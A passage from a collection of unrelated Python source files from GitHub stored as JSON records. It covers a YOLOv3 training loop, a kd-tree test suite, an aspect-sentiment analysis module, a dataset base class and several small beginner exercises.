epoch_val_loss_confidence + loss[2]\n                epoch_val_loss_classes = epoch_val_loss_classes + loss[3]\n                epoch_val_iou = epoch_val_iou + loss[4]\n                epoch_val_object_num = epoch_val_object_num + loss[5]\n                batch_loss = batch_loss.item()\n                epoch_val_loss = epoch_val_loss + batch_loss\n\n                tbar.set_description(\"val: coord_loss:{} confidence_loss:{} class_loss:{} iou:{}\".format(round(loss[1], 4), round(loss[2], 4), round(loss[3], 4), round(loss[4] / loss[5], 4)), refresh=True)\n                tbar.update(1)\n\n            # feature_map_visualize(train_data[0][0], writer)\n            # print(\"batch_index : {} ; batch_loss : {}\".format(batch_index, batch_loss))\n        print(\"val-batch-mean loss:{} coord_loss:{} confidence_loss:{} class_loss:{} iou:{}\".format(round(epoch_val_loss / val_len, 4), round(epoch_val_loss_coord / val_len, 4), round(epoch_val_loss_confidence / val_len, 4), round(epoch_val_loss_classes / val_len, 4), round(epoch_val_iou / epoch_val_object_num, 4)))\n\n    epoch = epoch + 1\n\n    if epoch % 2 == 0:\n        dict = {}\n        dict['model'] = YOLO.state_dict()\n        dict['optim'] = optimizer_SGD\n        dict['epoch'] = epoch\n\n        transforms_seed = random.randint(0, 9)\n        temp_input_size = img_sizes[transforms_seed]\n        scale_factor = temp_input_size / base_img_size\n        temp_anchors = []\n        for anchor_box in anchor_boxes:\n            temp_anchors.append([round(anchor_box[0] * scale_factor), round(anchor_box[1])])\n\n        dataSet.setInputSize(temp_input_size, temp_anchors)\n        loss_function.setImgSize(temp_input_size, temp_anchors)\n        torch.save(dict, './YOLO_V3_' + str(epoch) + '.pth')\n        writer.close()\n        writer = SummaryWriter(logdir='log',filename_suffix='[' + str(epoch) + '~' + str(epoch + 100) + ']')\n\n    print(\"epoch : {} ; loss : {}\".format(epoch,{epoch_train_loss}))\n    for name, layer in YOLO.named_parameters():\n        writer.add_histogram(name + '_grad', layer.grad.cpu().data.numpy(), epoch)\n        writer.add_histogram(name + '_data', layer.cpu().data.numpy(), epoch)\n\n    writer.add_scalar('Train/Loss_sum', epoch_train_loss, epoch)\n    writer.add_scalar('Train/Loss_coord', epoch_train_loss_coord, epoch)\n    writer.add_scalar('Train/Loss_confidenct', epoch_train_loss_confidence, epoch)\n    writer.add_scalar('Train/Loss_classes', epoch_train_loss_classes, epoch)\n    writer.add_scalar('Train/Epoch_iou', epoch_train_iou / epoch_train_object_num, epoch)\n\n    writer.add_scalar('Val/Loss_sum', epoch_val_loss, epoch)\n    writer.add_scalar('Val/Loss_coord', epoch_val_loss_coord, epoch)\n    writer.add_scalar('Val/Loss_confidenct', epoch_val_loss_confidence, epoch)\n    writer.add_scalar('Val/Loss_classes', epoch_val_loss_classes, epoch)\n    writer.add_scalar('Val/Epoch_iou', epoch_val_iou / epoch_val_object_num, epoch)\n\nwriter.close()\n","repo_name":"ProgrammerZhujinming/YOLOv3","sub_path":"Train/YOLO_V3_Finder_LearningRate.py","file_name":"YOLO_V3_Finder_LearningRate.py","file_ext":"py","file_size_in_byte":13527,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"25777822807","text":"#  Merge two Python dictionaries into one\r\n\r\ndef check_element(keys,values):\r\n    dict1.update(dict2)\r\n    return dict1\r\n\r\nif __name__ == '__main__':\r\n    dict1 = {'Ten': 10, 'Twenty': 20, 'Thirty': 30}\r\n    dict2 = {'Thirty': 30, 'Fourty': 40, 'Fifty': 50}\r\n    result=check_element(dict1,dict2)\r\n    print(result)","repo_name":"iamanuragsaini/Python-Expert","sub_path":"Problems/Dictionary/Problem2.py","file_name":"Problem2.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"74692334969","text":"# -*- coding: UTF-8 -*-\n\n\"\"\"\nHandler for glossary parts which can differ by language and environment.\n\n@author: Chusslove Illich (Часлав Илић) <caslav.ilic@gmx.net>\n@license: GPLv3\n\"\"\"\n\nfrom dg.util import p_\nfrom dg.util import error\n\n\nclass Dset (object):\n\n    def __init__ (self, gloss, parent=None):\n\n        self.gloss = gloss\n        self.parent = parent\n        if parent is None:\n            self.parent = gloss\n\n        self._data = {}\n\n\n    def _parent_att (self, att, defval):\n\n        val = defval\n        parent = self.parent\n        while parent:\n            if hasattr(parent, att):\n                val = getattr(parent, att)\n                break\n            parent = getattr(parent, \"parent\", None)\n        return val\n\n\n    def add (self, obj):\n\n        lang = obj.lang\n        if lang is None:\n            lang = self._parent_att(\"lang\", None)\n        envs = obj.env\n        if not envs:\n            envs = self._parent_att(\"env\", [None])\n\n        if lang not in self._data:\n            self._data[lang] = {}\n        for env in envs:\n            if env not in self._data[lang]:\n                self._data[lang][env] = []\n            self._data[lang][env].append(obj)\n\n\n    def __call__ (self, lang=None, env=None):\n\n        if lang is None:\n            lang = self._parent_att(\"lang\", None)\n        if env is None:\n            env = self._parent_att(\"env\", [None])[0]\n\n        if lang not in self._data:\n            return []\n\n        if env not in self._data[lang] and self.gloss.environments:\n            # Try to select environment by closeness.\n            environment = self.gloss.environments[env]\n            for close_env in environment.closeto:\n                if close_env in self._data[lang]:\n                    env = close_env\n                    break\n\n        if env not in self._data[lang]:\n            return []\n\n        return self._data[lang][env]\n\n\n    def values (self):\n\n        return [z for x in self._data.values() for y in x.values() for z in y]\n\n\n    def langs (self):\n\n        return self._data.keys()\n\n\n    def envs (self, lang=None):\n\n        if lang is None:\n            lang = self._parent_att(\"lang\", None)\n\n        if lang not in self._data:\n            return None\n\n        # Must collect also the environments close to this one.\n        envs = []\n        for env in self._data[lang]:\n            if env not in envs:\n                envs.append(env)\n            for env2, environment in self.gloss.environments.iteritems():\n                if env in environment.closeto and env2 not in envs:\n                    envs.append(env2)\n\n        return envs\n\n\n    def rename_lang (self, olang, nlang):\n\n        if olang in self._data:\n            self._data[nlang] = self._data.pop(olang)\n\n\n    def rename_env (self, oenv, nenv):\n\n        for lang, envs in self._data.iteritems():\n            if oenv in envs:\n                envs[nenv] = envs.pop(oenv)\n\n","repo_name":"happyaron/glossar","sub_path":"divergloss/dgproc/dg/dset.py","file_name":"dset.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"17840305240","text":"import pandas as pd\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport string\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport pickle\nfrom pyabsa import ATEPCCheckpointManager\n\n\n\nimport pandas as pd\nimport os\nimport numpy as np\nfrom wordcloud import WordCloud\nfrom nltk.corpus import stopwords\nimport matplotlib.pyplot as plt\n\n\n\naspect_extractor = ATEPCCheckpointManager.get_aspect_extractor(checkpoint='multilingual-256-2')\n\n\ndef perform_inference(text):\n    result = aspect_extractor.extract_aspect(inference_source=[text],\n                                             pred_sentiment=True)\n\n    result = pd.DataFrame({\n        'aspect': result[0]['aspect'],\n        'sentiment': result[0]['sentiment'],\n        # 'probability': result[0]['probs'],\n        'confidence': [round(x, 4) for x in result[0]['confidence']],\n        'position': result[0]['position']\n    })\n    return result, '{}'.format(text)\n\n\ndef get_aspect_dfs(data):\n    dfs = []\n    for row in data.iterrows():\n        text = row[1][0]\n        df = perform_inference(text)\n        dfs.append(df)\n    return dfs\n\n\ndef get_aspect_distribution(dataframes):\n    aspects = {}\n    sents = []\n    for df in dataframes:\n        for a, s in df[0].iterrows():\n            word_all = s[0].split()\n            word = word_all[0].lower()\n            if aspects.get(word) is None:\n                sents = []\n                sents.append(s[1])\n                aspects[word] = sents\n            else:\n                sents = aspects.get(word)\n                sents.append(s[1])\n                aspects[word] = sents\n    return aspects\n\n\n\ndef get_dfs(df):\n    dfs = get_aspect_dfs(df)\n    aspects = get_aspect_distribution(dfs)\n    lss = list(aspects.keys())\n    frequent_aspects = sorted(lss, key = lambda x: -len(aspects[x]))[:5]\n    return frequent_aspects\n\n\n\ndef get_sent_asps(df):\n    sent_asps = {}\n    sent_counts = []\n    dfs = get_aspect_dfs(df)\n    aspects = get_aspect_distribution(dfs)\n    frequent_aspects = get_dfs(df)\n    for aspect in frequent_aspects:\n        sent_counts.append(aspects[aspect].count('Positive'))\n        sent_counts.append(aspects[aspect].count('Negative'))\n        sent_counts.append(aspects[aspect].count('Neutral'))\n        sent_asps[aspect] = sent_counts\n        sent_counts = []\n    sent_asps = pd.DataFrame(sent_asps)\n    sent_asps_tr = sent_asps.T\n    sent_asps_tr.rename({0: 'Positive', 1: 'Negative', 2: 'Neutral'}, axis=1, inplace = True)\n    return sent_asps_tr\n","repo_name":"marikhomeriki/product_review_analysis","sub_path":"prod_rev_analysis/ml_logic/absa.py","file_name":"absa.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"26437470032","text":"\"\"\"\nBase class for a dataset\n\"\"\"\nimport abc\nimport logging\n\nlog = logging.getLogger()\n\n\nclass BaseDataset(metaclass=abc.ABCMeta):\n    \"\"\"BaseDataset\n\n    Parameters required for all datasets\n\n    parameters\n    ----------\n    subjects: List of int\n        List of subject number # TODO: make identifiers more general\n\n    sessions_per_subject: int\n        Number of sessions per subject\n\n    events: dict of strings\n        String codes for events matched with labels in the stim channel.\n        Currently imagery codes codes can include:\n        - left_hand\n        - right_hand\n        - hands\n        - feet\n        - rest\n        - left_hand_right_foot\n        - right_hand_left_foot\n        - tongue\n        - navigation\n        - subtraction\n        - word_ass (for word association)\n\n    code: string\n        Unique identifier for dataset, used in all plots\n\n    interval: list with 2 entries\n        Imagery interval as defined in the dataset description\n\n    paradigm: ['p300','imagery', 'ssvep']\n        Defines what sort of dataset this is (currently only imagery is\n        implemented)\n\n    doi: DOI for dataset, optional (for now)\n    \"\"\"\n\n    def __init__(self, subjects, sessions_per_subject, events,\n                 code, interval, paradigm, doi=None):\n        if not isinstance(subjects, list):\n            raise(ValueError(\"subjects must be a list\"))\n\n        self.subject_list = subjects\n        self.n_sessions = sessions_per_subject\n        self.event_id = events\n        self.code = code\n        self.interval = interval\n        self.paradigm = paradigm\n        self.doi = doi\n\n    def get_data(self, subjects=None):\n        \"\"\"\n        Return the data correspoonding to a list of subjects.\n\n        The returned data is a dictionary with the folowing structure::\n\n            data = {'subject_id' :\n                        {'session_id':\n                            {'run_id': raw}\n                        }\n                    }\n\n        subjects are on top, then we have sessions, then runs.\n        A sessions is a recording done in a single day, without removing the\n        EEG cap. A session is constitued of at least one run. A run is a single\n        contigous recording. Some dataset break session in multiple runs.\n\n        parameters\n        ----------\n        subjects: List of int\n            List of subject number\n\n        returns\n        -------\n        data: Dict\n            dict containing the raw data\n        \"\"\"\n        data = []\n\n        if subjects is None:\n            subjects = self.subject_list\n\n        if not isinstance(subjects, list):\n            raise(ValueError('subjects must be a list'))\n\n        data = dict()\n        for subject in subjects:\n            if subject not in self.subject_list:\n                raise ValueError('Invalid subject {:d} given'.format(subject))\n            data[subject] = self._get_single_subject_data(subject)\n\n        return data\n\n    def download(self, path=None, force_update=False,\n                 update_path=None, verbose=None):\n        \"\"\"Download all data from the dataset.\n\n        This function is only usefull to download all the dataset at once.\n\n\n        Parameters\n        ----------\n        path : None | str\n            Location of where to look for the data storing location.\n            If None, the environment variable or config parameter\n            ``MNE_DATASETS_(dataset)_PATH`` is used. If it doesn't exist, the\n            \"~/mne_data\" directory is used. If the dataset\n            is not found under the given path, the data\n            will be automatically downloaded to the specified folder.\n        force_update : bool\n            Force update of the dataset even if a local copy exists.\n        update_path : bool | None\n            If True, set the MNE_DATASETS_(dataset)_PATH in mne-python\n            config to the given path. If None, the user is prompted.\n        verbose : bool, str, int, or None\n            If not None, override default verbose level\n            (see :func:`mne.verbose`).\n        \"\"\"\n        for subject in self.subject_list:\n            self.data_path(subject=subject, path=path,\n                           force_update=force_update,\n                           update_path=update_path, verbose=verbose)\n\n    @abc.abstractmethod\n    def _get_single_subject_data(self, subject):\n        \"\"\"Return the data of a single subject.\n\n        The returned data is a dictionary with the folowing structure\n\n        data = {'session_id':\n                    {'run_id': raw}\n                }\n\n        parameters\n        ----------\n        subject: int\n            subject number\n\n        returns\n        -------\n        data: Dict\n            dict containing the raw data\n        \"\"\"\n        pass\n\n    @abc.abstractmethod\n    def data_path(self, subject, path=None, force_update=False,\n                  update_path=None, verbose=None):\n        \"\"\"Get path to local copy of a subject data.\n\n        Parameters\n        ----------\n        subject : int\n            Number of subject to use\n        path : None | str\n            Location of where to look for the data storing location.\n            If None, the environment variable or config parameter\n            ``MNE_DATASETS_(dataset)_PATH`` is used. If it doesn't exist, the\n            \"~/mne_data\" directory is used. If the dataset\n            is not found under the given path, the data\n            will be automatically downloaded to the specified folder.\n        force_update : bool\n            Force update of the dataset even if a local copy exists.\n        update_path : bool | None\n            If True, set the MNE_DATASETS_(dataset)_PATH in mne-python\n            config to the given path. If None, the user is prompted.\n        verbose : bool, str, int, or None\n            If not None, override default verbose level\n            (see :func:`mne.verbose`).\n\n        Returns\n        -------\n        path : list of str\n            Local path to the given data file. This path is contained inside a\n            list of length one, for compatibility.\n        \"\"\"  # noqa: E501\n        pass\n","repo_name":"maz2009/moabb","sub_path":"moabb/datasets/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29382608469","text":"class CarroCompras:\n    def __init__(self):\n        self.productos = {}\n\n    def agregar_producto(self, producto, cantidad):\n        if producto in self.productos:\n            self.productos[producto] += cantidad\n        else:\n            self.productos[producto] = cantidad\n\n    def imprimir_productos(self):\n        for producto, cantidad in self.productos.items():\n            print('Producto {}: {} unidades'.format(producto, cantidad))\n\n    def checkout(self):\n        total = 0\n\n        # Calcular el valor de los productos sin descuento\n        for producto, cantidad in self.productos.items():\n            precio = self.obtener_precio(producto)\n            subtotal = precio * cantidad\n            total += subtotal\n\n        # Aplicar descuentos según los productos en el carro\n        if self.tiene_descuento_conjunto():\n            total *= 0.8  # Descuento del 20% si se agregan productos 1, 2 y 3\n        elif self.tiene_descuento_individual():\n            total *= 0.85  # Descuento del 15% si se agregan productos 4 y 5\n\n        # Imprimir el valor total redondeado a un decimal\n        print('Total a pagar: {} USD'.format(round(total, 1)))\n\n    def obtener_precio(self, producto):\n        precios = {\n            1: 33.77,\n            2: 203,\n            3: 27.58,\n            4: 348.00,\n            5: 51.19\n        }\n        return precios.get(producto, 0)\n\n    def tiene_descuento_conjunto(self):\n        productos_conjunto = {1, 2, 3}\n        return set(self.productos.keys()).issuperset(productos_conjunto)\n\n    def tiene_descuento_individual(self):\n        productos_individuales = {4, 5}\n        return set(self.productos.keys()).issuperset(productos_individuales)\n\n\ncarro = CarroCompras()\n\nwhile True:\n    orden = input('Ingrese la orden (producto,cantidad / ver / checkout): ')\n    if orden == 'ver':\n        carro.imprimir_productos()\n    elif orden == 'checkout':\n        carro.checkout()\n        break\n    else:\n        try:\n            producto, cantidad = map(int, orden.split(','))\n            carro.agregar_producto(producto, cantidad)\n        except ValueError:\n            print('Orden inválida. Intente nuevamente.')\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito2_ej4/hito2_ej4_ee8b1988c2f973bf501a9f5ce698ea60.py","file_name":"hito2_ej4_ee8b1988c2f973bf501a9f5ce698ea60.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9807454205","text":"from kdtree_native import Hyperrectangle,Tree\n\nclass vector(list):\n\n\tdef __init__(self, *args):\n\t\tsuper().__init__([float(a) for a in args])\n\t\t\n\tdef __str__(self):\n\t  return \"<%.1f %.1f %.1f>\"%tuple(self[0:3])\n\n\tdef __sub__(self,other):\n\t  return vector(self[0]-other[0], self[1]-other[1], self[2]-other[2])\n\n\tdef __add__(self,other):\n\t  return vector(self[0]+other[0], self[1]+other[1], self[2]+other[2])\n\n\tdef __mul__(self,other):\n\t  s=sum(self[i]*other[i] for i in (0,1,2))\n\t  #print(\"ds\",s,self,other,[self[i]*other[i] for i in (0,1,2)])\n\t  return s\n\n\tdef dot(self,other):\n\t  return sum(self[k]*other[k] for k in (0,1,2))\n\nfrom random import random,seed, shuffle\nfrom time import time\nimport unittest\n\nclass TestVector(unittest.TestCase):\n\tdef test_ops(self):\n\t\tv1=vector(1,0,0)\n\t\tv2=vector(2,1,0)\n\t\tself.assertAlmostEqual(v1*v2,2.0)\n\t\tself.assertAlmostEqual(v1.dot(v2),2.0)\n\t\tv3=vector(-1,-1,0)\n\t\tself.assertListEqual(v1-v2,v3)\n\t\tv4=vector(3,1,0)\n\t\tself.assertListEqual(v1+v2,v4)\n\t\t\nclass TestHyperRectangle(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tself.left=vector(0,0,0)\n\t\tself.right=vector(1,1,1)\n\t\tself.left1=vector(-1,0,0)\n\t\tself.left2=vector(0,-1,0)\n\t\tself.left3=vector(0,0,-1)\n\t\tself.right1=vector(2,0,0)\n\t\tself.right2=vector(0,2,0)\n\t\tself.right3=vector(0,0,2)\n\n\tdef test_constructor(self):\n\t\thr=Hyperrectangle(3,self.left,self.right)\n\t\tself.assertListEqual(hr.min,self.left)\n\t\tself.assertListEqual(hr.max,self.right)\n\n\tdef test_extend(self):\n\t\thr=Hyperrectangle(3,self.left,self.right)\n\t\thr.extend(self.left1)\n\t\tself.assertListEqual(hr.min,[-1,0,0])\n\t\tself.assertListEqual(hr.max,[1,1,1])\n\t\thr.extend(self.left2)\n\t\tself.assertListEqual(hr.min,[-1,-1,0])\n\t\tself.assertListEqual(hr.max,[1,1,1])\n\t\thr.extend(self.left3)\n\t\tself.assertListEqual(hr.min,[-1,-1,-1])\n\t\tself.assertListEqual(hr.max,[1,1,1])\n\t\thr.extend(self.right1)\n\t\tself.assertListEqual(hr.min,[-1,-1,-1])\n\t\tself.assertListEqual(hr.max,[2,1,1])\n\t\thr.extend(self.right2)\n\t\tself.assertListEqual(hr.min,[-1,-1,-1])\n\t\tself.assertListEqual(hr.max,[2,2,1])\n\t\thr.extend(self.right3)\n\t\tself.assertListEqual(hr.min,[-1,-1,-1])\n\t\tself.assertListEqual(hr.max,[2,2,2])\n\n\tdef test_distance_squared(self):\n\t\thr=Hyperrectangle(3,self.left,self.right)\n\t\tself.assertAlmostEqual(hr.distance_squared(vector(0.5,0.5,0.5)),0.0)\n\t\tself.assertAlmostEqual(hr.distance_squared(vector(0,0,0)),0.0)\n\t\tself.assertAlmostEqual(hr.distance_squared(vector(-1,0,0)),1.0)\n\t\tself.assertAlmostEqual(hr.distance_squared(vector(2,0,0)),1.0)\n\t\tself.assertAlmostEqual(hr.distance_squared(vector(2,2,2)),3.0)\n\t\tself.assertAlmostEqual(hr.distance_squared(vector(0.5,2,2)),2.0)\n\t\tself.assertAlmostEqual(hr.distance_squared(vector(0.5,-1,-1)),2.0)\n\t\tself.assertAlmostEqual(hr.distance_squared(vector(0.5,0.5,2)),1.0)\n\nclass TestTree(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tseed(42)\n\t\tr=(-1,0,1)\n\t\tself.points=[vector(k,l,m) for k in r for l in r for m in r]\n\t\td=(-0.1,0,0.1)\n\t\tself.d=[vector(k,l,m) for k in d for l in d for m in d if (k*l*m) != 0]\n\t\tself.repeats=4\n\t\t\n\tdef test_simple(self):\n\t\ttree=Tree(3)\n\t\tp1=vector(0,0,0)\n\t\tp2=vector(-1,0,0)\n\t\tp3=vector(-1,1,0)\n\t\td=vector(0.1,0.1,0.1)\n\t\t\n\t\ttree.insert(p1,p1)\n\t\tnode, distsq = tree.nearest(p1)\n\t\tself.assertListEqual(node.pos,p1)\n\t\tself.assertAlmostEqual(distsq,0.0)\n\t\tnode, distsq = tree.nearest(p1+d)\n\t\tself.assertListEqual(node.pos,p1)\n\t\tself.assertAlmostEqual(distsq,0.03)\n\t\t\n\t\ttree.insert(p2,p2)\n\t\tnode, distsq = tree.nearest(p1)\n\t\tself.assertListEqual(node.pos,p1)\n\t\tself.assertAlmostEqual(distsq,0.0)\n\t\tnode, distsq = tree.nearest(p1+d)\n\t\tself.assertListEqual(node.pos,p1)\n\t\tself.assertAlmostEqual(distsq,0.03)\n\t\t\n\t\tnode, distsq = tree.nearest(p2)\n\t\tself.assertListEqual(node.pos,p2)\n\t\tself.assertAlmostEqual(distsq,0.0)\n\t\tnode, distsq = tree.nearest(p2+d)\n\t\tself.assertListEqual(node.pos,p2)\n\t\tself.assertAlmostEqual(distsq,0.03)\n\t\t\n\t\ttree.insert(p3,p3)\n\t\tnode, distsq = tree.nearest(p1)\n\t\tself.assertListEqual(node.pos,p1)\n\t\tself.assertAlmostEqual(distsq,0.0)\n\t\tnode, distsq = tree.nearest(p1+d)\n\t\tself.assertListEqual(node.pos,p1)\n\t\tself.assertAlmostEqual(distsq,0.03)\n\t\t\n\t\tnode, distsq = tree.nearest(p2)\n\t\tself.assertListEqual(node.pos,p2)\n\t\tself.assertAlmostEqual(distsq,0.0)\n\t\tnode, distsq = tree.nearest(p2+d)\n\t\tself.assertListEqual(node.pos,p2)\n\t\tself.assertAlmostEqual(distsq,0.03)\n\t\t\n\t\tnode, distsq = tree.nearest(p3)\n\t\tself.assertListEqual(node.pos,p3)\n\t\tself.assertAlmostEqual(distsq,0.0)\n\t\tnode, distsq = tree.nearest(p3+d)\n\t\tself.assertListEqual(node.pos,p3)\n\t\tself.assertAlmostEqual(distsq,0.03)\n\t\t\n\tdef test_nearest(self):\n\t\tfor n in range(self.repeats):\n\t\t\ttree=Tree(3)\n\t\t\tshuffle(self.points)\n\t\t\tfor p in self.points:\n\t\t\t\ttree.insert(p,p) # data equal to position\n\t\t\t\n\t\t\tfor p in self.points:\n\t\t\t\tfor d in self.d:\n\t\t\t\t\tnode, distsq = tree.nearest(p+d)\n\t\t\t\t\ts=\"%s %s %s %s\\n%s\"%(str(p+d), str(p), str(d), str(node.pos),str(tree.root))\n\t\t\t\t\tself.assertListEqual(node.pos,p,msg=s)\n\t\t\t\t\tself.assertListEqual(node.data,p)\n\t\t\t\t\tself.assertAlmostEqual(distsq,d.dot(d),msg=s)\n\t\t\t\n\t\t\tfor p in self.points:\n\t\t\t\tnode, distsq = tree.nearest(p)\n\t\t\t\tself.assertListEqual(node.pos,p)\n\t\t\t\tself.assertListEqual(node.data,p)\n\t\t\t\tself.assertAlmostEqual(distsq,0.0)\n\t\t\t\n\tdef test_nearest_empty(self):\n\t\tfor n in range(self.repeats):\n\t\t\ttree=Tree(3)\n\t\t\tshuffle(self.points)\n\t\t\tfor p in self.points:\n\t\t\t\ttree.insert(p,p) # data equal to position\n\t\t\t\n\t\t\tfor p in self.points:\n\t\t\t\tfor d in self.d:\n\t\t\t\t\tnode, distsq = tree.nearest(p+d)\n\t\t\t\t\ts=\"%s %s %s %s\\n%s\"%(str(p+d), str(p), str(d), str(node.pos),str(tree.root))\n\t\t\t\t\tself.assertListEqual(node.pos,p,msg=s)\n\t\t\t\t\tself.assertListEqual(node.data,p)\n\t\t\t\t\tself.assertAlmostEqual(distsq,d.dot(d),msg=s)\n\t\t\t\n\t\t\tfor p in self.points:\n\t\t\t\tnode, distsq = tree.nearest(p)\n\t\t\t\tself.assertListEqual(node.pos,p)\n\t\t\t\tself.assertListEqual(node.data,p)\n\t\t\t\tself.assertAlmostEqual(distsq,0.0)\n\n\t\t\t# zeroing out a node should not affect retrieving any other node ...\n\t\t\tnode , _ = tree.nearest(self.points[-1]) # last point\n\t\t\tnode.data=None\n\t\t\tfor p in self.points[:-1]: # all but last\n\t\t\t\tfor d in self.d:\n\t\t\t\t\tnode, distsq = tree.nearest(p+d)\n\t\t\t\t\ts=\"%s %s %s %s\\n%s\"%(str(p+d), str(p), str(d), str(node.pos),str(tree.root))\n\t\t\t\t\tself.assertListEqual(node.pos,p,msg=s)\n\t\t\t\t\tself.assertListEqual(node.data,p)\n\t\t\t\t\tself.assertAlmostEqual(distsq,d.dot(d),msg=s)\n\t\t\t\n\t\t\tfor p in self.points[:-1]: # all but last\n\t\t\t\tnode, distsq = tree.nearest(p)\n\t\t\t\tself.assertListEqual(node.pos,p)\n\t\t\t\tself.assertListEqual(node.data,p)\n\t\t\t\tself.assertAlmostEqual(distsq,0.0)\n\t\t\t\n\t\t\t# ... also, we should be able to retrieve the node anyway ...\n\t\t\tnode, distsq = tree.nearest(self.points[-1])\n\t\t\tself.assertListEqual(node.pos,self.points[-1])\n\t\t\tself.assertIsNone(node.data)\n\t\t\tself.assertAlmostEqual(distsq,0.0)\n\t\t\t\n\t\t\t# ... even for points nearby ...\n\t\t\tfor d in self.d:\n\t\t\t\tnode, distsq = tree.nearest(self.points[-1]+d)\n\t\t\t\tself.assertEqual(node.pos,self.points[-1])\n\t\t\t\tself.assertIsNone(node.data)\n\t\t\t\tself.assertAlmostEqual(distsq,d.dot(d))\n\t\t\t\n\t\t\t# ... unless we set checkempty\n\t\t\tnode, distsq = tree.nearest(self.points[-1],checkempty=True)\n\t\t\tself.assertNotEqual(node.pos,self.points[-1])\n\t\t\tself.assertIsNotNone(node.data)\n\t\t\tself.assertAlmostEqual(distsq,1.0) # on a perpendicular grid nearest neighbor is at most 1 away\n\t\t\t\n\tdef test_performance(self):\n\t\ttree=Tree(3)\n\t\ttsize=1000\n\t\tqsize=1000\n\t\temptyq=3\n\t\t\n\t\tprint(\"<performance test, may take several seconds>\")\n\t\tqpos=[vector(random(),random(),random()) for p in range(qsize)]\n\t\tfor p in range(tsize):\n\t\t\tpos=vector(random(),random(),random())\n\t\t\ttree.insert(pos,pos)\n\t\ts=time()\n\t\tfor p in qpos:\n\t\t\tnode, distsq = tree.nearest(p)\n\t\te=time()-s\n\t\tprint(\"queries|tree size|tree height|empties|query load|query time\") \n\t\tprint(\"{0:7d}|{2:9d}|{1.level:11d}|      0|{3:10.2f}|{4:10.1f}\".format(qsize,tree,tsize,float(tree.count)/qsize,e))\n\t\t\n\t\ttree.resetcounters()\n\t\tempty=[]\n\t\tfor p in range(tsize*9):\n\t\t\tpos=vector(random(),random(),random())\n\t\t\ttree.insert(pos,pos)\n\t\t\tif (p % emptyq ) == 1 :\n\t\t\t\tempty.append(pos)\n\t\ts=time()\n\t\tfor p in qpos:\n\t\t\tnode, distsq = tree.nearest(p)\n\t\te2=time()-s\n\t\tprint(\"{0:7d}|{2:9d}|{1.level:11d}|      0|{3:10.2f}|{4:10.1f}\".format(qsize,tree,tsize*10,float(tree.count)/qsize,e2))\n\t\t\n\t\tself.assertLess(e2,3*e,msg=\"a 10x bigger tree shouldn't take more than 3x the time to query\")\n\n\t\tfor p in empty:\n\t\t\tnode, distsq = tree.nearest(p)\n\t\t\tnode.data = None\n\t\ttree.resetcounters()\n\t\ts=time()\n\t\tfor p in qpos:\n\t\t\tnode, distsq = tree.nearest(p,checkempty=True)\n\t\te3=time()-s\n\t\tprint(\"{0:7d}|{2:9d}|{1.level:11d}|{5:7d}|{3:10.2f}|{4:10.1f}\".format(qsize,tree,tsize*10,float(tree.count)/qsize,e3,tsize*10//emptyq))\n\t\t\nunittest.main()\n","repo_name":"varkenvarken/blenderaddons","sub_path":"kdtree-bench/kdtree_native_test.py","file_name":"kdtree_native_test.py","file_ext":"py","file_size_in_byte":8626,"program_lang":"python","lang":"en","doc_type":"code","stars":204,"dataset":"github-code","pt":"77"}
+{"seq_id":"69954736570","text":"voucher_price = int(input())\n\ncmd = input()\nprice = 0\namount_tickets = 0\namount_other = 0\n\nwhile cmd != \"End\":\n    purchase = cmd\n    if len(cmd) > 8:\n        price_per_symbol = cmd[0:2]\n        for i in price_per_symbol:\n            price += ord(i)\n        if price > voucher_price:\n            break\n        else:\n            amount_tickets += 1\n    elif len(cmd) <= 8:\n        price_per_symbol = cmd[0]\n        for i in price_per_symbol:\n            price += ord(i)\n        if price > voucher_price:\n            break\n        else:\n            amount_other += 1\n\n    cmd = input()\n\nprint(amount_tickets)\nprint(amount_other)\n","repo_name":"xMrShadyx/SoftUni","sub_path":"PB_EXAM/PB_Online_Exam_6_and_7_April_2019/04_Cinema_Voucher.py","file_name":"04_Cinema_Voucher.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}